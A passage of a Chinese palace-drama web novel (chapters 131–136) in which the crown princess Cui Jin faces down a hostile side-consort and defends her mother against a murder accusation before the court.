他温和的声音叫陆知意放松下来,小脾气不由自主使出来了,娇嗔道:“今日外头那般冷清,一点也没有大婚的热闹,妾身气都气饱了,哪还有心情用膳?” 萧临眉头微不可查地一皱。 但面上,他依旧温和地宽慰了几句。 陆知意素来都是被顺着的主儿,自然察觉不到他温和之下的敷衍,还以为这是萧临因为她父亲和她本身的美貌和性格给出的偏爱,在他面前愈发随性了几分。 一夜眨眼即过。 翌日,陆知意起身穿衣时,看到翠环捧来的粉色衣裳,顿时柳眉倒竖,拿起来便扔了。 “这么丑的颜色也敢拿出来给我穿?” 萧临闭眼由婢女穿衣,听到动静,开口:“闹什么?” “殿下!”陆知意扯着他衣袖撒娇,“妾身不喜欢粉色衣裳。” “你喜欢什么颜色,便叫人去拿。” “妾身喜欢红色!” 萧临微微一顿。 陆知意挽上他的手,放轻了声音,娇声开口:“妾身在家时便喜穿红衣,没得嫁人后便连最喜欢的衣裳都穿不了,您这么喜欢妾身,一定愿意给妾身这般特例吧?” 她抬眸看着萧临,愈发娇媚了几分,几乎快酥到人骨子里去:“殿下……您就应了妾身这点小小的喜好吧,好不好嘛……” “你穿红衣,叫太子妃如何自处?” 陆知意一愣。 萧临放开她的手,声音转冷,含着警告:“你平日怎么跋扈张扬,本宫都可容谅一二,但对太子妃,你要恭敬再三,若有分毫逾越犯上,本宫绝不轻饶!” 说完,他不耐地拨开婢女,自己快速穿好衣裳,临走前只留下一句话:“没事干就多找梁氏聊聊,问问她后不后悔当初谋害太子妃!” 陆知意脸色铁青,几乎不可置信地看着他的背影。 她身后有北境二十万大军,萧临竟敢如此不给她脸面? 昨夜……难道都是假的么? 翠环叹了口气,低声道:“您太心急了,该先勾住太子殿下的心,再论其他啊。” 等盛宠令人侧目时,不必她主动要求,太子自会为她打破所有例外。 “可纵使如此……我身后还有父亲和北境二十万大军。”陆知意咬了咬牙,“他如此对我,不怕父亲动怒么?” 翠环欲言又止。 当初林昭独宠,崔锦进府时,纵使身后崔谢如日中天,不还是被冷落许久? 现在人换了,处境却没换。 崔锦深受宠爱,勾住了太子的心,他又怎会因为北境那二十万大军就叫崔锦受委屈? 陆知意僵立在原地,阴沉沉思索半晌,才开口:“更衣,去正院。” 正院里,今日所有人来得异常早。 冯书仪比陆知意先到,立刻便懂事地捧着茶盏,上前敬茶。 崔锦含笑叫起,略训诫了几句便叫她坐了。 等众人聊了好一会儿,陆知意才踩点到了:“妾身来得迟了些,竟叫太子妃久等,当真不好意思。” 崔锦笑容不变:“陆侧妃准点到,便算不得久等,只是日后时间需得掐得更准些,若逾了时,本宫便不得不罚了。” 陆知意脸色微僵,眼底沉了一瞬。 萧临也就罢了,崔锦这个破落户竟也敢给她下马威? 这时,如夏适时端着托盘上前,屈膝开口:“陆侧妃,请为太子妃奉茶。” 陆知意死死盯着茶,半晌不语。 她这辈子也就只给父母亲敬过茶,原打算勾住萧临就顺理成章忽视正院,可萧临竟对她那般无情! 叫她敬茶,崔锦配吗? 她不动,如夏便也不动,屋里一时落针可闻,有些胆小的都不敢大声呼吸了。 翠环悄悄扯了把陆知意的衣袖。 陆知意攥紧双手,终于忍下屈辱,拿起茶盏向崔锦走去。 “妾身恭请太子妃金安。”她捧着茶盏,却在即将接触到崔锦时,手下一翻。 本该落地的茶盏不知为何,竟朝崔锦的脸砸去。 第一百三十一章 成安宝宝可真爱笑 看到这一幕,所有人脸色俱变。 陆知意眼底闪过一抹挑衅与看好戏的快意,敢叫她奉茶,就该有付出代价的准备! 崔锦却看着她,笑容不变的稳稳坐在椅子上。 就在茶盏落在她脸上的前一瞬,如夏脚下如风般移去崔锦身边,抬手挥开茶盏,不知是不是角度原因,茶盏竟又调转过头,砸向陆知意的脸。 陆知意脸色微变,立刻躲开。 但因为如夏速度太快,而她自己也未曾防备,纵使躲得快,还是被砸中了发髻,步摇落于地上时,她鬓发微松,其间还沾了几缕茶叶,颇为狼狈。 如夏眉梢微挑。 陆知意自幼在马背上长大,武功不错,今日由她来端茶,防的就是这一手。 陆知意发丝松乱,还有一缕垂落在脸颊边,衬得阴沉的脸色更加狼狈。 如夏微微屈膝:“陆侧妃手脚不稳,险些伤着王妃,奴婢护主心切,也担心叫侧妃您担上犯上之名,出手便急了些,请侧妃恕罪。” 她一番话说得滴水不露,叫陆知意一时竟也说不出什么斥责之言。 ——人家是为了不叫她担上犯上的罪名,她还得谢谢她呢。 陆知意脸色铁青,好半晌才从牙缝里挤出两个字:“无碍。” 如夏再度端来一杯茶。 陆知意顿了一瞬,眼神阴鸷地奉茶,有如夏在旁盯着,她再使不出什么幺蛾子。 崔锦含笑接过,略沾了沾唇就放下了:“侧妃自幼习武,恐是疏忽了规矩,但咱们太子府规矩严明,我们的一言一行更代表着太子殿下,侧妃也该将规矩学起来了,否则日后出门交际闹了今日这般的笑话,岂非连累太子殿下丢人?” “你——” “屈嬷嬷。”崔锦打断陆知意的话,“日后你便留在沁芳院,好生提醒约束着侧妃吧。” 一旁的屈嬷嬷屈膝应是。 她是淑贵妃的人,在王府经营了五年多,根基和靠山可都牢固得很。 陆知意显然也是做过功课的,脸色更难看了些。 今日没给崔锦下马威不说,竟还被她拿住把柄,安插了这么一尊佛去沁芳院,以后她连言行举止都要束手束脚…… 崔锦当真可恨! 崔锦又训诫了她几句,才恍然回神般,斥起如春几人:“侧妃如此形容狼狈,怎都不提醒着本宫些?还不快扶侧妃去侧间更衣梳洗?” 陆知意紧紧攥起手,脸色阴沉地转身离开。 她很想就这样甩袖就走,可身上的狼狈叫她连离开正院的勇气都没有。 看着她满是怒气却无计可施的背影,其余人各自交换着眼神,尤其是新人,心中对崔锦的敬畏又增了不少。 陆知意腰杆子那么硬,都能在太子妃手下吃这么大的亏,她们这群还没有陆家家世的在没得宠之前,就更得夹着尾巴做人了。 叶挽棠丝毫不受影响,笑眯眯问冯书仪:“冯侧妃那日送的图纸,太子妃叫绣房做出了衣裳,可真漂亮啊,你还有没有多的?” 冯书仪轻轻一笑:“有的,等回头我多画些带给太子妃。” 崔锦含笑道谢。 “只要太子妃和三位殿下们喜欢,妾身就荣幸之至了。”冯书仪说完,忽地轻咳几声,“只是妾身昨日似乎吹风受了凉,近日恐不能来给您请安,以免冲撞了您与殿下们,图纸等妾身画了后,叫下面人送来,可好?” 崔锦闻言,语气带上担忧:“稍后本宫去请太医来给你瞧瞧,图纸不着急,你养病要紧。” “多谢太子妃。”冯书仪面露感激。 陆知意出来时正听到这话,不由看了冯书仪一眼。 娴静温雅不假,长得也颇有几分姿色,但呆板过头便是木讷无趣,可提不起男人的兴致。 她眼底闪过轻蔑:“冯侧妃有病还出来见人?不知你安的什么心。” 冯书仪像是听不懂她话里的刺一样,温温柔柔一笑:“今日给太子妃敬茶,病的再重也得来,失了规矩可不好。”话落,她轻咳了几声,起身行礼,“但陆侧妃说得也有礼,妾身便先告退了。” 崔锦关心了几句,又吩咐人去请太医后,赶忙叫她快回去歇着。 陆知意冷嗤一声,转身落座。 在座不少人都有些遗憾,陆侧妃靠山硬,冯侧妃虽稍逊一筹,身后却有淑贵妃,与太子殿下也有青梅竹马之谊,按说也该硬气起来——尤其昨夜太子殿下去的是沁芳院。 原以为今日来能看到这两位针锋相对的场面,未想冯侧妃倒是好脾性,还主动称病避开沁芳院的锋芒。 这叫本想看热闹或浑水摸鱼的人都有些失落。 崔锦将她们的神色尽收眼底,留了她们一刻钟便都叫回去了。 陆知意回到沁芳院就砸了一地花瓶茶盏,怒不可遏:“一个破落户,究竟谁给她的熊心豹子胆,竟敢如此辱我?!当真以为生下那三块肉就能在太子府横着走了么?贱人!” 翠环忙上前阻止,小声劝道:“侧妃,屈嬷嬷就在东侧屋收拾房间呢,可不能被她听到您不敬王妃啊。” 提起屈嬷嬷,陆知意脸色更加阴沉。 在自己的地盘都要畏手畏脚,连说句话都要受制于人? “去,传信给父亲,叫他上道奏折,与皇上好生聊聊。” 说罢,她眼底闪过一抹怨恨与怒火:“正院那里……” “侧妃,梁奉仪求见。”进门的婢女打断了她的话。 陆知意一顿,继而便笑了:“我倒是忘了,可有得是人恨不得崔锦去死呢……叫她进来,翠环,你去拖住屈嬷嬷。” “是。” 正院。 崔锦抱着长安轻哄着,叶挽棠坐在一边,拿着拨浪鼓逗成安。 “哎呀,成安宝宝可真爱笑。”叶挽棠摇得更起劲儿了,“成安成安,再笑一个。” 成安很给面子的笑了起来,连眼睛都眯在了一起。 “见过太子殿下。”门外的行礼声响起。 萧临大步进来,摆手制止崔锦行礼,含笑拉着她坐去软榻上:“今日周大儒正式入朝,被父皇授予太傅一职,兼殿阁大学士。” 都是正一品的官职,太傅实权虽小,但大学士隶属内阁,仅次于李首辅之下了,这是真正的实权。 第一百三十二章 崔母被告 闻言,崔锦面上浮起惊喜之色。 虽然早有心理准备,但亲耳听到这个消息,她还是很高兴:“老师德才兼备,当得此职。” “你倒是一点都不谦虚。”萧临摇头失笑,但也感叹,“不过此言也不假,若连周大儒都担不起这等要职,便不知谁能担得起了。” 说完,他握住崔锦的手,语气赞赏而揶揄:“周大儒对本宫态度极为亲近,想来也是沾了锦儿你的光了。” “怎会?”崔锦不赞同地摇头,“殿下军功赫赫,早在六年前便威名响彻大周,老师当时听闻您在战场上的事迹后赞不绝口,比起沾我的光,想是殿下本身的才能与威名吸引得老师亲近。” 萧临被她夸得笑容更深,低头瞥见她眸光潋滟,心中一动,不由自主地便低下头去。 崔锦忙推了他一把。 “嗯?”萧临面露不解。 顺着崔锦尴尬的眼神看去,正对上叶挽棠单纯干净的双眼。 萧临:“……” 她什么时候来的? “怎么了,你们继续聊啊。”叶挽棠疑惑开口,“不用管妾身和成安宝宝,我们自己玩儿。” 面对她清澈到愚蠢的眼神,萧临嘴角一抽。 若这场景换做梁溶月,不用想都知道她不安好心,打着天真无知的名义厚脸皮留着不走,破坏他们的感情。 但叶挽棠不一样。 她是真无知。 他下意识想起方才钟粹宫里淑贵妃的话——以后少带叶挽棠出门交际。 否则被政敌套出什么都不奇怪。 等叶挽棠终于走了后,萧临才松了口气,亲够了崔锦后才逗起儿子和女儿。 成安一见他就笑眯了眼,哄得萧临也眉开眼笑:“想是本宫常同他玩,与他熟了,竟亲近得很。” 成安对谁都这么笑。 但崔锦跟着点头:“孩子不知事,自然是谁与他亲近,他就喜欢谁。” “这便是了。”萧临小心地摸了摸成安的小手,语气温柔,“我恨不能时时刻刻都见到他们,亲近他们。” 要是能栓裤腰带上,他早就栓了。 一大把年纪才盼来的孩子,捧在手心里都怕碎了。 崔锦见他只逗不抱,便抱起平安放在了他怀里。 萧临身体顿时僵住,声音有些不稳:“快抱开,我力气大,小心伤着他。” 胖成球的成安他都不敢抱,更别说平安这个更小的。 “没事的。”崔锦声音含笑,“小心收着力气便好了……哎呀,平安笑了。” 萧临低头一看,平安轻轻扬起唇角,肖似崔锦的眉眼渐渐弯了起来。 莫非是被他抱得舒服? 萧临瞬间不紧张了,手下动作极轻的调整着姿势,小心地将他抱在怀里,感受着软软小小的身体,他只觉胸腔都涌上一股热意,烫得他激动不已。 这是他的嫡长子。 寄予厚望的嫡长子。 大抵是新奇,他挨个抱着三个孩子抱了许久,直到午膳时分才依依不舍地放下。 后院里也都在关注着萧临的态度——今日正院的事说大不大,但说小也不小,必定传去了萧临耳里。 但萧临却仿若未觉,午后处理完政事,晚间又迫不及待地去了正院,此后一连好几日,连后院其他人的门都没进过,给了陆知意好大一个没脸,一时连养病的冯书仪都比她更受下人尊敬。 但周大儒在前朝的风头以及对崔锦旗帜鲜明的支持和偏爱,一时竟叫陆知意不敢再明面对上崔锦——最重要的是萧临也不会偏向她。 在大雪纷飞,几乎堆落到膝盖高的积雪时,城西出了事。 “今年的大雪实在过于大了,城西那边的房屋本就建得不牢固,昨夜竟直接被大雪压塌了。”正院里,萧临对崔锦说着。 “什么?”崔锦面露忧心,“那百姓如何?伤亡多少?” 见她有些急迫的样子,萧临顿时笑了:“没有分毫伤亡。” 崔锦面露诧异:“是有人救了百姓?” “对。”萧临点头,语气颇为赞赏,“梁祯在城西的宅子年久失修,正在请人重修,见那边的百姓们饥寒交迫,便直接叫他们举家住了进去,一边修缮一边过个暖冬,未想就这么巧……” “淮阴伯此举,当真是功德无量。”崔锦笑容欣慰。 “是啊,父皇得知此事后,龙颜大悦,想来这两日给梁祯的封赏便要下来了。” 萧临自是只有高兴的。 梁祯功绩越多,于他而言就越有利。 崔锦眼眸微动,在萧临离开后,她便叫如春留意着外头的动静。 永隆帝的赏赐当日就下来了,除了给梁祯一个四品实权官位外,还亲笔写下了“积善余福”的牌匾赐下,叫淮阴伯府顿时出了好一番风头。 而梁祯不卑不亢,上书言自己此举是因知晓太子妃的祥瑞三胎早产,想做些善事为其积福,未想阴差阳错地救下了百姓。 对于这说法,永隆帝和萧临都没有怀疑。 梁溶月已经废了,梁祯此举无疑是在向萧临和崔锦示好,以图后路。 能阴差阳错救下百姓,这在他们心里,成了祥瑞三胎的功劳。 城西的百姓更是对此千恩万谢——梁祯救人救到底,直接出钱为他们重建了房屋。 户部因此得以省下一大笔钱,近日永隆帝和户部尚书看梁祯的眼神不要太顺眼,给了他不少方便。 梁祯得了好处,对崔锦愈发感激和敬畏,立刻便着人私下送来了一沓银票和情报。 崔锦翻完情报,若有所思:“陆家借陆知意进京的机会结交了京城不少人脉,但在老师进京后,这些人便风向不明了。” 她正想说什么,却见如冬神色惊慌的进来,急冲冲道:“太子妃,不好了,外头有人翻出了老夫人当初下嫁侯爷的事,直指老夫人暗害先夫人,算计嫁入崔家……” 顿了顿,她道:“陆侧妃方才出门买胭脂,正撞见哭诉的大姑娘,听闻此事后,她立刻义愤填膺,已经……已经带着大姑娘去了顺天府,状告老夫人杀人害命。” 第一百三十三章 老夫人虽没到,但大理寺到了! 闻言,崔锦神色微冷。 她站起身,匆匆进了里间:“我们先去顺天府!” 快速更衣过后,她交代张嬷嬷守好三个孩子,便匆匆离开。 庆安也得了消息,见她的马车已经出府,不敢耽误,忙叫人去宫外守着,等萧临出宫后第一时间禀报此事。 因为陆知意与崔儒月是在胭脂铺外相遇,周围满是百姓,此事迅速便传了开来,崔锦坐在马车里,沿路都能听到周围议论的声音。 时下对女子规训居多,少不得有人暗指崔母心狠手辣,杀人夺夫,连崔儒月本不太好的名声都被洗白了一些—— “若那位夫人杀人为真,此前沈夫人针对继母母女的行为便说也得过去了。”有个妇人隐晦开口,“在恶毒继母手下寄人篱下多年,也不知受了多少委屈和磋磨,好不容易嫁人逃离苦海,当然要为自己和母亲报仇了。” 立刻有人反驳:“你胡说什么,此事是不是真还不知道呢!” “就是,能养出太子妃那等善心人和有福之人的女子,岂会是杀人夺夫之人?亏你还是城西的人,你们能有结实漂亮的新房子住,可多亏了太子妃和祥瑞,结果转头就骂人家太子妃的娘?我呸!”另一位老太太声音鄙夷。 那妇人有些讪讪:“大家都这么说,那沈夫人又拿出了证据,我就信了些……” 低调的马车快速驶过,谁也没发现被他们议论的人就坐在马车里。 “太子妃。”如春蹙眉宽慰道,“此事未有定论,且当年究竟是怎么回事,没人比老夫人更清楚了,老夫人必然有应对之策。” “我知道。”崔锦低低说完,声音却只有冷意,“先前除了族,倒叫崔儒月没了顾忌,敢公然告我母亲了。” 若还有孝名在身,别说崔母没杀人,就算杀了,今日崔儒月堂前告母前也得脱一层皮。 可除了族,反倒叫她没了顾忌。 “沈夫人想的简单。”如秋深深道,“等此事真相大白,夫人过往对她的宽容只会叫她被舆论反噬更深……无论有没有除族,这养育之恩,她脱不了。” 崔锦眼眸微沉:“一会儿你不必跟进顺天府了,去安排人好生宣扬宣扬崔儒月的孝举吧。” “是。” 不一会儿就到了顺天府,崔母今日进宫给皇后和贵妃请安,需得晚会儿才到,崔锦便先下车进门。 崔儒月已经站在堂下哭诉,陆知意坐在一侧旁听,手里还端着杯茶,优哉游哉地品着。 “太子妃到——” 顺天府尹忙擦了擦额间的冷汗,快步下来,与陆知意一同行礼。 “微臣见过太子妃,太子妃金安。” 崔锦踱步进来,环视一圈,淡淡开口:“府尹不必多礼,听闻有人状告本宫母亲,本宫便来瞧瞧。” 陆知意站直身体,挑眉道:“太子妃消息倒灵通得很,按说您母亲是命妇,此案该交给大理寺办,但毕竟被妾身撞上了,又闹得人尽皆知,若后头大理寺查出什么,难免叫人议论揣测,倒不如来顺天府,交由百姓旁听,如此方显公正。” 大理寺并不许百姓进入,她也怕崔锦勾着萧临给大理寺施压,包庇崔母。 倒不如闹得人尽皆知,更能搞臭崔锦的名声。 被一个罪人母亲生养长大,她崔锦还能是什么好东西?被她生下的三胎又能是什么好东西?配称祥瑞吗? “无碍。”崔锦冷冷扫过她,“本宫母亲行得正坐得端,不惧人查。” 陆知意嗤笑一声。 “妹妹这话说得好生无赖!”崔儒月哭得伤心,“我若没有证据,岂会状告继母?你们母女这些年加诸于我身上的磋磨……便当真以为无人知晓么?” 如春看向崔儒月,提醒道:“沈夫人,你已被除族,且君臣有别,你该尊称我们太子妃,并屈膝行礼。” 崔儒月身体微僵,紧紧攥起双手。 纵使这两年崔锦再风光,她都在安慰自己崔锦得意不了多久了,满心等着崔锦下狱的那一日,可为什么……为什么这一世的走向与沈郎描述的截然不同? 信王不仅没被下狱,还被立为太子。 而崔锦这个贱婢也跟着鸡犬升天,成了太子妃,还生下祥瑞三胎,满京独一份儿的风光。 这叫她无法忍住心中几近扭曲的嫉妒和不平。 这本该是她的身份,她的风光……是崔锦这个贱婢夺了她的气运! 否则如今风光无比、膝下还有祥瑞的太子妃该是她崔儒月! 但此刻面对如春的咄咄逼人,她只能咬紧牙关,屈膝行礼:“臣妇给太子妃请安。” 陆知意嗤笑一声:“叫人家给杀母仇人的女儿行礼,太子妃此等做法,真是上不得台面。” “依陆侧妃之言,本宫该无视君臣尊卑,叫沈夫人将一个莫须有的家仇放在第一位?”崔锦反唇相讥。 陆知意脸色微变。 好半晌,她才冷笑开口:“君臣之礼该守,但家仇是不是莫须有,便难说了。” 话落,她冷眼扫过顺天府尹:“还不升堂?” 顺天府尹后背几乎快湿透了。 太子府的内斗,为什么要牵连无辜可怜的他啊? 就算要斗,去大理寺不好吗?他顺天府何德何能! “侧妃容谅。”他有些尴尬,“老夫人身有诰命,并非微臣升堂可审,且……且老夫人还没到呢。” 陆知意恼他不识趣,正要开口训斥,却听堂外一道声音传来:“老夫人虽没到,但大理寺到了!” 众人俱是一惊,回头看去。 卫期身着官服大步走来,身后跟着大理寺丞和六位大理寺衙役。 人群中自发让道,卫期带人快步走过。 “忠勇侯老夫人身有诰命,合该大理寺接案,陆侧妃身为二品总督之女,却连我大周律法都未曾精细研读,明日本官必要参陆总督一本教女不善!”卫期语气淡淡。 陆知意皱起眉,眼神微慌。 她是武将之女,自知道卫期曾被夺走的军功究竟含金量有多高,何况来京之前,父亲就再三叮嘱她一定要结交卫期,便是不能结交,也必不能得罪。 可他方才言下之意,岂非说父亲堂堂总督也不通律法? 第一百三十四章 人证物证?我也有 她忙道:“我只是见此事闹得太大,担心大理寺禁地不许百姓旁听,从而叫他们揣测猜疑,影响了大理寺的名声,并非有意忽视大理寺。” “知法犯法,罪加一等。” 卫期语气恭敬,却带着刺:“侧妃明知不可为而为之,陆总督与太子府竟也未曾管束过您,微臣拜服。” “你——” 陆知意险些咬碎一口银牙。 这卫期怎如此难缠,一个大男人揪着她一个小姑娘话里的把柄不放,心眼小又可恨! 但卫期三言两语就叫陆知意背上了蔑视律法的帽子,叫外头百姓对她的观感直接掉了一层,等后头传去宫里,怕是少不得要被皇后申斥了。 他也没给陆知意反驳的机会,立刻便开口:“此案大理寺主审,顺天府从旁协审。” 顺天府尹松了一大口气,忙将主位让了出来。 大理寺真是个顶个的好人啊。 崔锦坐在一旁,静静听着崔儒月开始摆证据:“这是我母亲的贴身丫鬟胡雁,当初忠勇侯老夫人与我母亲是手帕交,却在我见过我父亲后就暗生情愫,嫉恨之下屡屡挑拨我父母关系,她可作证。” 那年纪颇大的妇人连忙点头。 “这是我母亲临终前留的绝笔信。”崔儒月从怀中拿出一封信,眼睛通红,“里面详细说明了她临死前察觉到不对,故而留下此信,叫胡雁好生收着,若继母待我好,此信便不会面世,若继母待我不好,这信便是我的后路……” 说到这里,她眼睛通红:“纵使幼时继母对我屡屡磋磨,但我对她仍有孺慕之情,可……可父亲死后,她竟假借父亲之名将我除族,胡雁见我被迫害至此,这才给了我母亲临终前留下的信,浑浑噩噩十多年,我竟才知道母亲离世的真相!” 信被递去卫期手中,他快速看完,表情不变。 “此信从忠勇侯老夫人在闺中时刻意勾引崔大人,到她如何下毒暗害你母亲,极其详尽。”他淡淡点头,“很难想象,一个奄奄一息的妇人会在临死前查到这么多,还亲笔写下来。” 崔儒月低下头啜泣:“我母亲先前就隐隐有所察觉,却不敢相信最好的姐妹会背叛她,直到后来被害……才终于醒悟。” “大人若不信,尽管叫人来比对字迹与这信的年份,一切皆吻合。” 崔锦忍不住看了她一眼。 当年到底怎么回事,崔儒月早被崔老太君身边的嬷嬷告知过。 而这封信…… 她眼底冷意闪过。 怕是孙氏留下的后手,想扣死母亲杀人夺夫的罪名,给崔儒月铺路。 死了竟都不消停! 幸好崔父已经被干没了,否则若他今日被崔儒月说动,上堂作证,母亲就真的跳进黄河都洗不清了。 而此刻,在崔儒月话音落下后,外头一片哗然,再有底下几个被买通的侯府正院丫鬟出面证实崔母曾杀害孙氏的事实,众人看向崔锦的眼神都不对了。 陆知意眼中更是明晃晃的鄙夷与痛快。 崔儒月掉着眼泪,高声开口:“求大人为我做主,还我母亲迟来的公道!” 掷地有声,人群中隐隐有叫好声。 崔儒月垂下的眼底一片喜色,手指更是激动地隐隐发颤。 崔锦完了! 等崔母获罪,崔瞻那个小杂种就不足为虑,父亲救驾之功的庇荫,终将归于她崔儒月所有! 卫期淡淡扫了眼外头,百姓们立刻噤声。 他天然便有一股不怒自威的威慑力,又一身正气凛然,叫人不由得心生信服与敬畏。 “沈夫人的状词与人证物证,本官已清楚了。”他道,“还需审查过后才可定夺,且需要忠勇侯老夫人在场分辨。” 说罢,不等崔儒月回话,他就吩咐:“将这几人隔开审讯,每一句话都不容有错,再请齐学士来一趟,查证此信的真伪,最后,回大理寺调人,一一审讯忠勇侯老夫人与沈夫人身边的人。” 他的决定无人有异议。 崔儒月也很气定神闲。 已经过去近二十年了,当年的老人都死了差不多了,还能查出什么? 怕不是都没她准备的人证物证齐全。 大理寺的衙役们领命离开后,堂内一时寂静下来。 陆知意轻笑一声,含着恶意与讽刺:“铁证如山,太子妃倒坐得住,也是,有罪的是你母亲,只要心够狠,你一样能稳坐太子妃之位……但如此不堪之母,想来你那祥瑞也——” “啪——” 陆知意捂着脸,不可置信地看向崔锦:“崔锦,你敢打我?!” “啪——” 又是一巴掌。 陆知意被如夏制住身形,她身边的婢女碍于身份,也不敢对崔锦如何,一时竟束手束脚。 “此案未定,你无故冤枉命妇,此为第一罪。”崔锦声音冰冷,“祥瑞三胎乃父皇亲笔册封,是太子殿下嫡出子女,身份尊贵,绝非你一个妾能妄言侮辱,此为第二罪。” “最后,敢直呼本宫名讳,此乃犯上。” 崔锦牢牢盯着她,语气轻柔下来:“三宗罪,两个耳光实在轻饶你。” “啪——” 陆知意的左脸再次被狠狠扇过,顷刻间便红肿了一大片。 她双眼几乎冒火,怨恨地剜向崔锦,如淬了毒般。 她自幼便是被捧着长大,手指破个皮都有无数人心疼,从未体会过被责打的滋味,还是当着大理寺顺天府和无数百姓的面被当众掌掴,这简直是将她的脸面狠狠踩在脚下……崔锦该死! 贱人!! 崔锦毫不在意,用手帕擦脏东西一样仔细擦干净手指,才悠悠落座。 堂内外一时无人敢言,都被崔锦突然爆发的气势吓了一跳。 只有卫期眼底的欣赏一闪而过。 被人欺到头上来,当然是狠狠打回去。 有周大儒和他在,太子妃自己腰杆子也够硬,何须忍耐? 正在所有人都大气不敢出一声之际,堂外,崔母的身影终于出现。 “沈夫人带了人证物证?可巧,我也有。” “当年究竟谁是谁非,谁是畜生,今日我拼着老脸不要,便来辨上一辨!” 第一百三十五章 白眼狼就是白眼狼! 肃穆庄严的顺天府大堂,崔母大步走来,面沉如水,怒气滔天。 被她的气势所迫,在场一时无人说话。 卫期对她点了点头,先将崔儒月状告的内容与诸多人证物证说了一遍,才道:“老夫人若有异议,可自行分辨。” 崔母微微点头:“我敢当堂对峙,自有底气与证据。” 崔儒月眼神微变,但想到当年知道此事的人都已经快死光了,崔母左不过就是像她一样收买些人罢了。 她有陆侧妃做倚仗,还能怕一个无权无势的崔母? 只要崔母身上留有一分质疑,她就能将此扩大到五分,再等陆侧妃出手,崔母就算定不了罪,也势必要诰命被夺,名声尽毁! 想到这里,她唇角微不可查地勾了一下,随即眼泪直落,怨恨地看向崔母:“当年到底是怎么回事,老夫人比谁都清楚,杀了人还有脸倒打一耙,更准备反咬我这个受害者一口,莫不是以为女儿是太子妃,就能理所当然的视律法如无物,残害无辜吗?!” 她的质问掷地有声,更直接戳中了百姓们的痛点。 一时间虽摄于顺天府的威严没有开口,但气氛却显而易见的就焦灼了许多,倘若崔母拿不出铁证证明自己,只怕舆论就要一边倒了。 毕竟,弱者总是格外惹人怜惜的。 尤其还是崔儒月这般凄惨的身世。 陆知意余光扫过外头越聚越多的百姓,唇角微微勾起一抹笑意。 “我自然有铁证!” 崔母冷笑一声,看向崔儒月:“这句话也还给你——当年究竟发生了什么,你崔儒月心里清楚得很,毕竟若非为了你,孙氏怎会给我下药,叫你父亲毁了我的清白,毁了我的一生?!” 此言一出,满场皆惊。 崔儒月眼底闪过一抹心虚,却转瞬即逝,背脊挺直而眼泪不断,哭得伤心不已。 崔母也没废话,直接开口:“当初我与孙氏感情甚好,时常来往,但她天生体弱,在生下崔儒月后就察觉到自己命不久矣,她担心崔远山另娶,叫崔儒月受继母磋磨,便盯上了我……”说到这里,她眼中闪过一抹痛恨,“只因我家世过人,心软善良,还与她有手帕交之谊!” “永隆七年五月,崔儒月满月,我进府道喜,她却趁我没有防备,在我更衣时给我下药,并将崔远山引了过去……” 崔母死死掐住手,眼角几乎变得猩红。 当众讲述自己屈辱的过去,这对她一个自幼受三从四德规训的女子来说,无异于当众凌迟。 但痛恨之余,她还是给了担心的崔锦一个安抚的眼神。 她继续开口:“孙氏服了虎狼之药,营造出自己健康的假象,却在‘撞破’此事后当即吐出一口血,身子迅速衰败下去,那时我以为当真是自己的错,几乎要自尽赔罪……她却大度表示原谅,百般安慰我,但没几日崔府就传话,说她被气的命不久矣,临终前想向我托孤。” “我特地请了大夫给她治病,事后却被大夫告知她本就因难产出血而命不久矣……我这才心中起疑,顺藤摸瓜查出孙氏算计我的真相。” 众人都被这个故事惊得一脸懵。 崔母条理清晰,言辞间找不出半点漏洞,像是此事真实发生过一样……难道她说的是真的? “一派胡言!” 崔儒月尖声开口:“若当真如你所说,我父亲怎会在被母亲如此算计后还深爱她数十年,而你既然查出了真相,又为何不挑破,反而忍气吞声嫁入崔家?!堂堂谢氏女便是如此没有风骨的人么?” “没了清白的女子,身份再高贵又能怎样?”崔母眼中浮起一抹悲哀,“我的确曾问罪上门,叫崔家和孙家给我公道,是崔老夫人,你的亲祖母险些跪下求我……那时我腹中也已有骨肉,我又能如何?” “不过是……咽下所有委屈,将就余生罢了。” 她眼睛通红,却始终没落一滴泪:“这是崔老夫人和崔远山,以及孙家当初给我的道歉信。” 她将几封信交给衙役呈上去,继续道:“下面还有些单子,是崔孙两家给我的赔礼,一切可查。” 崔儒月脸色顿时变了。 道歉信? 父亲和祖母从未向她说过此事,还有孙家……那种破落户,她早就不来往了,竟也不知此事。 齐学士已经到了,研究过后道:“忠勇侯老夫人给的信都是二十年前的,且是崔尚书亲笔所书,但崔老夫人和孙家的书信,还需比对过才能确定。” 顿了顿,他道:“孙氏的书信也是真的,但这封信通篇足有两千余字,下笔有力,一气呵成,不太像命不久矣的人写出来的。” 真相已渐渐明了。 崔儒月下意识看向陆知意。 陆知意眼眸微沉:“老夫人若只能拿出这些,只恐证据不足。” “自然不止。” 崔母抬手叫外头的人一一上前:“这是卖给孙氏催情药的大夫,这是当年帮着孙氏下药的丫鬟,而这位……”她看向崔儒月,“不知你还认不认识,他叫孙达辉。” 崔儒月的舅舅。 前面两人,崔母养了二十年,就是为了防止当年的事被捅出,反叫她这个受害者成施害者。 而孙家,给些利益就能巴巴凑上来,为她正名。 此外,刘嬷嬷还拿上前一件衣裳:“这是我们老夫人当年参宴时所穿的衣裳,京中一些年长的长辈应当还有印象,这衣裳沾了药,我们夫人为了留下证据,一直没有销毁过。” 二十年前的药,残留下来已不剩多少,但医术高深的医者还是能探出几分。 这便足够佐证了。 崔儒月脸上血色隐隐流失,却还强撑着道:“二十年前哪能预知到今日?必是你收买了他们为你作证!一件衣裳罢了,谁知是不是你当年自己给自己下药,以作无辜姿态?这都不足以取信!” “二十年前哪能预知到今日?”崔母嘲讽地看着她,“自然是为了防着你啊。” “我做不出残害幼童的事,孙氏做下的孽,我也从未怪到你身上,所以这二十年来,我强忍屈辱,容你肆意长大,但你到底是孙氏的种,我怎能不防一手?如今看来,当年的我实在有远见。” “任我这些年如何对你好,都不过苦心东流,白眼狼就是白眼狼!没心肝的东西!” 崔儒月脸色顿时惨白。 不等她再开口,崔母瞥了眼堂外:“我最后一个人证也到了。” 众人顺着她的目光看去,杨院判正背着药箱进来。 第一百三十六章 敲不得一个登闻鼓? “杨院判?”卫期眸光微动,“您怎么来了?” “老夫来做个证。” 杨院判踱步走来堂中,温声开口:“当年老夫上京,准备考太医院时,曾在郊外义诊过,正遇上忠勇侯老夫人,她见我医术不错,便请了我去为当时的崔夫人诊脉治病。” 彼时他没有名气,年纪也不大,便未被孙氏放在眼里,随意叫他诊了脉,却未想就是因此才叫崔母察觉到不对。 崔儒月摇摇欲坠,嘴唇嗫喏着,想要阻止杨院判。 